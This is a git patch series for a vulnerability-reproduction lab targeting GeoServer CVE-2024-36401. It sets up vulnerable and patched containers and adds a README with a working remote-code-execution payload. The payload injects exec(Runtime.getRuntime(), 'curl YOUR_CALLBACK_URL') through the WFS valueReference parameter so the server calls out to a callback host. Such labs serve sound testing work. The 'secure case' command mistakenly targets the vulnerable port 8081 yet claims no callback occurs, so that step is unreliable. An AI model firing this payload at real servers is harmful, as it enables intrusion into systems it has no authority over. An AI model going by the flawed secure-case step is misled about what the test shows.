From e97724a56d0c8126958ddfa767301df32c780ed2 Mon Sep 17 00:00:00 2001
From: Robert Dick <robert@doyensec.com>
Date: Fri, 8 May 2026 09:16:26 -0400
Subject: [PATCH 1/2] slight docker compose modifications to geoserver

---
 geoserver/CVE-2024-36401/README.md          | 9 ++-------
 geoserver/CVE-2024-36401/docker-compose.yml | 4 ++--
 2 files changed, 4 insertions(+), 9 deletions(-)

diff --git a/geoserver/CVE-2024-36401/README.md b/geoserver/CVE-2024-36401/README.md
index 1bcc5a63..b4413d50 100644
--- a/geoserver/CVE-2024-36401/README.md
+++ b/geoserver/CVE-2024-36401/README.md
@@ -11,11 +11,6 @@ docker-compose up -d
 ```
 
 The services will be available at:
-- **Vulnerable**: Service `vuln` (GeoServer 2.25.1)
-- **Safe**: Service `safe` (GeoServer 2.25.2)
+- **Vulnerable**: Service `vuln` (GeoServer 2.25.1) at port `8081`
+- **Safe**: Service `safe` (GeoServer 2.25.2) at port `8082`
 
-To find the host port for GeoServer (port 8080):
-```bash
-docker-compose port vuln 8080
-docker-compose port safe 8080
-```
diff --git a/geoserver/CVE-2024-36401/docker-compose.yml b/geoserver/CVE-2024-36401/docker-compose.yml
index c0856281..c421ac52 100644
--- a/geoserver/CVE-2024-36401/docker-compose.yml
+++ b/geoserver/CVE-2024-36401/docker-compose.yml
@@ -2,8 +2,8 @@ services:
   vuln:
     image: docker.osgeo.org/geoserver:2.25.1
     ports:
-      - "8080"
+      - "8081:8080"
   safe:
     image: docker.osgeo.org/geoserver:2.25.2
     ports:
-      - "8080"
+      - "8082:8080"

From b4f443766dff918a8d556a9215eacd188fbf62c2 Mon Sep 17 00:00:00 2001
From: Robert Dick <robert@doyensec.com>
Date: Wed, 3 Jun 2026 10:11:45 -0400
Subject: [PATCH 2/2] added vuln repro instructions

---
 geoserver/CVE-2024-36401/README.md | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/geoserver/CVE-2024-36401/README.md b/geoserver/CVE-2024-36401/README.md
index b4413d50..3a5854d0 100644
--- a/geoserver/CVE-2024-36401/README.md
+++ b/geoserver/CVE-2024-36401/README.md
@@ -14,3 +14,17 @@ The services will be available at:
 - **Vulnerable**: Service `vuln` (GeoServer 2.25.1) at port `8081`
 - **Safe**: Service `safe` (GeoServer 2.25.2) at port `8082`
 
+
+## Reproducing the vulnerability
+
+Vulnerable case (replace YOUR_CALLBACK_URL with your own web server):
+```
+curl "http://localhost:8081/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20YOUR_CALLBACK_URL')"
+```
+The callback server will receive an http request with curl's user agent.
+
+Secure case (replace YOUR_CALLBACK_URL with your own web server):
+```
+curl "http://localhost:8081/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20YOUR_CALLBACK_URL')"
+```
+No callback will be received.
\ No newline at end of file